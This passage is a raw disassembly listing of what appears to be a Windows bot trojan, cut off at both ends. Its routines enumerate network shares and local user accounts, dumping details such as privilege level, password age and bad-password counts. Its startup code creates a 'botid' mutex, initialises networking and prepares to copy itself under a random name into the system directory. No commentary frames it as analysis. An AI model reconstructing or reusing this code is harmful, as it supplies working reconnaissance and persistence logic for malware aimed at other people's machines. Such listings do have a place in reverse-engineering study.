sub_40DAEF+97j mov eax, esi pop edi pop esi pop ebp retn sub_40DAEF endp ; =============== S U B R O U T I N E ======================================= sub_40DBAE proc near ; CODE XREF: sub_415F77+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBB xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBB: ; CODE XREF: sub_40DBAE+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_423150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test ds:byte_440EE4, 1 mov ebp, eax jnz short loc_40DBF8 or ds:byte_440EE4, 1 lea eax, [ebp+1] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov ds:dword_440C84, eax loc_40DBF8: ; CODE XREF: sub_40DBAE+32j push esi push esi push ebp push ds:dword_440C84 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, ds:dword_440C84 pop edi pop ebp pop ebx pop esi retn sub_40DBAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40DC15(int,char *Str,int) sub_40DC15 proc near ; CODE XREF: sub_40DAEF+6Dp ; sub_41629B+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC80 push [ebp+Str] mov edi, eax call sub_40DC80 push 24h ; Val mov [ebp+var_20], eax push [ebp+Str] ; Str call _strchr push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC80 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call ds:dword_43C518 pop edi leave retn sub_40DC15 endp ; =============== S U B R O U T I N E ======================================= sub_40DC80 proc near ; CODE XREF: sub_40DC15+Ap ; sub_40DC15+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8D pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8D: ; CODE XREF: sub_40DC80+9j push ebx push esi mov esi, ds:dword_42306C push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC80 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC1 proc near ; CODE XREF: sub_40DAEF+20p ; sub_415F77+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC80 push [esp+8+arg_4] mov esi, eax call sub_40DC80 pop ecx pop ecx push 0 push eax push esi call ds:dword_43C4F0 pop esi retn sub_40DCC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40DCE4(int,char *Str,int,int) sub_40DCE4 proc near ; CODE XREF: sub_40EE51+217Dp Dest = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC80 xor esi, esi mov [ebp+var_C], eax push esi ; int mov [ebp+arg_C], esi push [ebp+arg_8] ; int mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 18h loc_40DD1D: ; CODE XREF: sub_40DCE4+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call ds:dword_43C564 mov ebx, eax cmp ebx, esi jz short loc_40DD80 cmp ebx, 0EAh jz short loc_40DD80 push ebx push ebx call sub_40E499 pop ecx push eax lea eax, [ebp+Dest] push offset dword_42DEF4 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 24h jmp short loc_40DDED ; --------------------------------------------------------------------------- loc_40DD80: ; CODE XREF: sub_40DCE4+5Dj ; sub_40DCE4+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE4 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD8E: ; CODE XREF: sub_40DCE4+FCj push dword ptr [esi+10h] call ds:dword_43C50C ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA5 mov eax, offset aNo ; "No" loc_40DDA5: ; CODE XREF: sub_40DCE4+BAj push eax lea eax, [ebp+Dest] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD8E xor esi, esi loc_40DDE4: ; CODE XREF: sub_40DCE4+A2j push [ebp+var_4] call ds:dword_43C6A8 loc_40DDED: ; CODE XREF: sub_40DCE4+9Aj cmp ebx, 0EAh jz loc_40DD1D xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40DE05(int,int,int,int,char *Str,int) sub_40DE05 proc near ; CODE XREF: sub_40EE51:loc_411044p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Str = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEA9 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE47 dec eax jz short loc_40DE3C dec eax jnz short loc_40DE62 push [ebp+arg_14] ; int push [ebp+Str] ; Str push [ebp+arg_C] ; int push ebx ; int push edi ; int call sub_40DF4B add esp, 14h jmp short loc_40DE5E ; --------------------------------------------------------------------------- loc_40DE3C: ; CODE XREF: sub_40DE05+1Dj push ebx push edi call sub_40DF2A pop ecx pop ecx jmp short loc_40DE5E ; --------------------------------------------------------------------------- loc_40DE47: ; CODE XREF: sub_40DE05+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5B push [ebp+arg_8] push ebx push edi call sub_40DED0 add esp, 0Ch jmp short loc_40DE5E ; --------------------------------------------------------------------------- loc_40DE5B: ; CODE XREF: sub_40DE05+45j push 57h pop eax loc_40DE5E: ; CODE XREF: sub_40DE05+35j ; sub_40DE05+40j ... cmp eax, edi jnz short loc_40DE82 loc_40DE62: ; CODE XREF: sub_40DE05+20j lea eax, [esi+esi*2] push ebx mov esi, offset byte_440EE8 push ds:off_42D7A4[eax*4] push offset dword_42DFD8 ; Format push esi ; Dest call _sprintf add esp, 10h jmp short loc_40DEC9 ; --------------------------------------------------------------------------- loc_40DE82: ; CODE XREF: sub_40DE05+5Bj push eax call sub_40E499 push eax lea eax, [esi+esi*2] push ebx mov esi, offset byte_440EE8 push ds:off_42D7A0[eax*4] push offset dword_42DF9C ; Format push esi ; Dest call _sprintf add esp, 18h jmp short loc_40DEC9 ; --------------------------------------------------------------------------- loc_40DEA9: ; CODE XREF: sub_40DE05+Dj mov eax, [ebp+arg_0] mov esi, offset byte_440EE8 lea eax, [eax+eax*2] push ds:off_42D7A0[eax*4] push offset dword_42DF64 ; Format push esi ; Dest call _sprintf add esp, 0Ch loc_40DEC9: ; CODE XREF: sub_40DE05+7Bj ; sub_40DE05+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED0 proc near ; CODE XREF: sub_40DE05+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC80 push [ebp+arg_4] mov edi, eax call sub_40DC80 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC80 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_43C4FC pop edi leave retn sub_40DED0 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2A proc near ; CODE XREF: sub_40DE05+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC80 push [esp+8+arg_4] mov esi, eax call sub_40DC80 pop ecx pop ecx push eax push esi call ds:dword_43C4EC pop esi retn sub_40DF2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40DF4B(int,int,int,char *Str,int) sub_40DF4B proc near ; CODE XREF: sub_40DE05+2Dp Dest = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC80 push [ebp+arg_4] mov esi, eax call sub_40DC80 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_43C670 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2D8 mov eax, [ebp+var_4] test eax, eax jz loc_40E313 push ebx push edi push dword ptr [eax] lea eax, [ebp+Dest] push offset aAccountS ; "Account: %S" push eax ; Dest call _sprintf mov esi, [ebp+arg_10] mov edi, [ebp+Str] mov ebx, [ebp+arg_8] push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+Dest] push offset aFullNameS ; "Full Name: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+Dest] push offset aUserCommentS ; "User Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+Dest] push offset aCommentS ; "Comment: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_40E064 dec eax jz short loc_40E05D dec eax jz short loc_40E056 mov eax, offset aUnknown ; "Unknown" jmp short loc_40E069 ; --------------------------------------------------------------------------- loc_40E056: ; CODE XREF: sub_40DF4B+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E069 ; --------------------------------------------------------------------------- loc_40E05D: ; CODE XREF: sub_40DF4B+FFj mov eax, offset aUser_1 ; "User" jmp short loc_40E069 ; --------------------------------------------------------------------------- loc_40E064: ; CODE XREF: sub_40DF4B+FCj mov eax, offset aGuest ; "Guest" loc_40E069: ; CODE XREF: sub_40DF4B+109j ; sub_40DF4B+110j ... push eax lea eax, [ebp+Dest] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+Dest] push offset aAuthFlagsD ; "Auth Flags: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+Dest] push offset aHomeDirectoryS ; "Home Directory: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+Dest] push offset aParametersS ; "Parameters: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+Dest] push offset aPasswordAgeD ; "Password Age: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+Dest] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+Dest] push offset aNumberOfLogins ; "Number of Logins: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+Dest] push offset aLastLogonD ; "Last Logon: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+Dest] push offset aLastLogoffD ; "Last Logoff: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+Dest] push offset aLogonServerS ; "Logon Server: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+Dest] push offset aWorkstationsS ; "Workstations: %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+Dest] push offset aCountryCodeD ; "Country Code: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+Dest] push offset aUserSLanguageD ; "User's Language: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+Dest] push offset aMax_StorageD ; "Max. Storage: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+Dest] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push esi ; int push eax ; int push edi ; Str push ebx ; int call sub_40D670 add esp, 20h pop edi pop ebx jmp short loc_40E304 ; --------------------------------------------------------------------------- loc_40E2D8: ; CODE XREF: sub_40DF4B+35j push eax lea eax, [ebp+Dest] push offset dword_42E008 ; Format push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_10] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_8] ; int call sub_40D670 add esp, 20h loc_40E304: ; CODE XREF: sub_40DF4B+38Bj cmp [ebp+var_4], 0 jz short loc_40E313 push [ebp+var_4] call ds:dword_43C6A8 loc_40E313: ; CODE XREF: sub_40DF4B+40j ; sub_40DF4B+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40E319(int,char *Str,int,int) sub_40E319 proc near ; CODE XREF: sub_40EE51+221Fp Dest = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC80 push esi ; int mov [ebp+var_14], eax push [ebp+arg_8] ; int mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 18h loc_40E358: ; CODE XREF: sub_40E319+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call ds:dword_43C580 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3B9 cmp eax, 0EAh jz short loc_40E3B9 push eax push eax call sub_40E499 pop ecx push eax lea eax, [ebp+Dest] push offset dword_42E218 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 24h jmp short loc_40E434 ; --------------------------------------------------------------------------- loc_40E3B9: ; CODE XREF: sub_40E319+62j ; sub_40E319+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E447 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E434 loc_40E3CB: ; CODE XREF: sub_40E319+EDj cmp edi, esi jz short loc_40E40A push dword ptr [edi] lea eax, [ebp+Dest] push offset aS_2 ; " %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3CB jmp short loc_40E434 ; --------------------------------------------------------------------------- loc_40E40A: ; CODE XREF: sub_40E319+B4j lea eax, [ebp+Dest] push offset dword_42E1D4 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 1Ch loc_40E434: ; CODE XREF: sub_40E319+9Ej ; sub_40E319+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E447 push edi call ds:dword_43C6A8 xor edi, edi mov [ebp+var_4], edi loc_40E447: ; CODE XREF: sub_40E319+A5j ; sub_40E319+120j cmp [ebp+var_C], 0EAh jz loc_40E358 cmp edi, esi jz short loc_40E45F push edi call ds:dword_43C6A8 loc_40E45F: ; CODE XREF: sub_40E319+13Dj push [ebp+var_8] lea eax, [ebp+Dest] push offset aTotalUsersFoun ; "Total users found: %d." push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E319 endp ; =============== S U B R O U T I N E ======================================= sub_40E499 proc near ; CODE XREF: sub_40DAEF+41p ; sub_40DCE4+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E54B jz loc_40E544 cmp eax, 7Bh ja short loc_40E510 jz short loc_40E506 cmp eax, 5 jz short loc_40E4FC cmp eax, 8 jz short loc_40E4F2 cmp eax, 32h jz short loc_40E4E8 cmp eax, 35h jz short loc_40E4DE cmp eax, 57h jnz loc_40E59A push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5BB ; --------------------------------------------------------------------------- loc_40E4DE: ; CODE XREF: sub_40E499+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5BB ; --------------------------------------------------------------------------- loc_40E4E8: ; CODE XREF: sub_40E499+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5BB ; --------------------------------------------------------------------------- loc_40E4F2: ; CODE XREF: sub_40E499+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E5BB ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E499+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5BB ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E499+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5BB ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E499+1Aj sub eax, 7Ch jz short loc_40E53D sub eax, 7C8h jz short loc_40E536 dec eax jz short loc_40E52C dec eax jnz short loc_40E59A push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5BB ; --------------------------------------------------------------------------- loc_40E52C: ; CODE XREF: sub_40E499+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5BB ; --------------------------------------------------------------------------- loc_40E536: ; CODE XREF: sub_40E499+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E53D: ; CODE XREF: sub_40E499+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E544: ; CODE XREF: sub_40E499+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E54B: ; CODE XREF: sub_40E499+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E584 jz short loc_40E57D sub eax, 8ADh jz short loc_40E5AF dec eax dec eax jz short loc_40E576 dec eax jz short loc_40E56F dec eax dec eax jnz short loc_40E59A push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E56F: ; CODE XREF: sub_40E499+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E576: ; CODE XREF: sub_40E499+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E57D: ; CODE XREF: sub_40E499+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E584: ; CODE XREF: sub_40E499+B9j sub eax, 8CAh jz short loc_40E5B6 sub eax, 17h jz short loc_40E5AF sub eax, 25h jz short loc_40E5A8 sub eax, 29h jz short loc_40E5A1 loc_40E59A: ; CODE XREF: sub_40E499+35j ; sub_40E499+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E5A1: ; CODE XREF: sub_40E499+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E5A8: ; CODE XREF: sub_40E499+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E5AF: ; CODE XREF: sub_40E499+C2j ; sub_40E499+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5BB ; --------------------------------------------------------------------------- loc_40E5B6: ; CODE XREF: sub_40E499+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5BB: ; CODE XREF: sub_40E499+40j ; sub_40E499+4Aj ... push offset byte_440C88 ; Dest call _sprintf pop ecx mov eax, offset byte_440C88 pop ecx retn sub_40E499 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40E5CD(char *Source) sub_40E5CD proc near ; CODE XREF: sub_40EE51+225Ep Dest = word ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h Source = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h ; MaxCount push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs add esp, 0Ch lea eax, [ebp+Source] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+Source], esi call ds:dword_423154 ; GetComputerNameA lea eax, [ebp+var_108] push esi ; MaxCount push eax ; Source lea eax, [ebp+var_318] push eax ; Dest call _mbstowcs lea eax, [ebp+Dest] push eax ; Str call _wcslen add esp, 10h shl eax, 1 push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call ds:dword_43C628 test eax, eax jnz short loc_40E65D mov esi, offset byte_440A84 push offset dword_42E568 ; Format push esi ; Dest call _sprintf pop ecx pop ecx jmp short loc_40E686 ; --------------------------------------------------------------------------- loc_40E65D: ; CODE XREF: sub_40E5CD+7Aj lea ecx, [ebp+Dest] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E499 pop ecx mov esi, offset byte_440A84 push eax push offset dword_42E530 ; Format push esi ; Dest call _sprintf add esp, 14h loc_40E686: ; CODE XREF: sub_40E5CD+8Ej mov eax, esi pop esi leave retn sub_40E5CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E68B proc near ; CODE XREF: _WinMainCRTStartup+C9p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h Filename = byte ptr -6F4h Str = byte ptr -5F4h Ext = byte ptr -4F0h SubStr = byte ptr -3F0h FullPath = byte ptr -2ECh Dest = byte ptr -1E8h Source = byte ptr -0E4h var_64 = dword ptr -64h var_58 = dword ptr -58h var_38 = dword ptr -38h var_34 = word ptr -34h var_20 = byte ptr -20h Dst = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_C], ebx mov [ebp+var_8], offset sub_40D39C push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_423054 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_486C00, eax call esi ; GetTickCount push eax call sub_4172EE pop ecx call sub_40981A push 2 call ds:dword_43C6C4 ; SetErrorMode push 7530h push offset aBotid ; "botid" push ebx push ebx call ds:dword_423164 ; CreateMutexA push eax call ds:dword_423084 ; WaitForSingleObject cmp eax, 102h jnz short loc_40E708 push 1 call ds:dword_42314C loc_40E708: ; CODE XREF: sub_40E68B+73j lea eax, [ebp+var_884] push eax push 202h call ds:dword_43C590 ; WSAStartup cmp eax, ebx mov [ebp+var_8], eax jnz loc_40EB68 cmp [ebp+var_884], 2 jnz loc_40EB62 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_40EB62 mov esi, 104h lea eax, [ebp+SubStr] push esi push eax call ds:dword_423064 ; GetSystemDirectoryA lea eax, [ebp+FullPath] push esi push eax push ebx call ds:dword_4230FC push eax call ds:dword_423090 ; GetModuleFileNameA lea eax, [ebp+Ext] push eax ; Ext lea eax, [ebp+Filename] push eax ; Filename push ebx ; Dir lea eax, [ebp+FullPath] push ebx ; Drive push eax ; FullPath call __splitpath lea eax, [ebp+Ext] push eax lea eax, [ebp+Filename] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp+Str] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+SubStr] push eax ; SubStr lea eax, [ebp+FullPath] push eax ; Str call _strstr add esp, 30h test eax, eax jnz loc_40E96B cmp ds:dword_486D70, ebx mov esi, offset byte_42E664 jz short loc_40E803 push esi ; Str xor edi, edi call _strlen sub eax, 4 pop ecx jz short loc_40E803 loc_40E7E0: ; CODE XREF: sub_40E68B+176j call _rand push 1Ah cdq pop ecx idiv ecx push esi ; Str add dl, 61h mov ds:byte_42E664[edi], dl inc edi call _strlen sub eax, 4 pop ecx cmp edi, eax jb short loc_40E7E0 loc_40E803: ; CODE XREF: sub_40E68B+145j ; sub_40E68B+153j lea eax, [ebp+SubStr] push esi push eax lea eax, [ebp+Dest] push offset aSS_3 ; "%s\\%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push eax call ds:dword_4230A4 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short 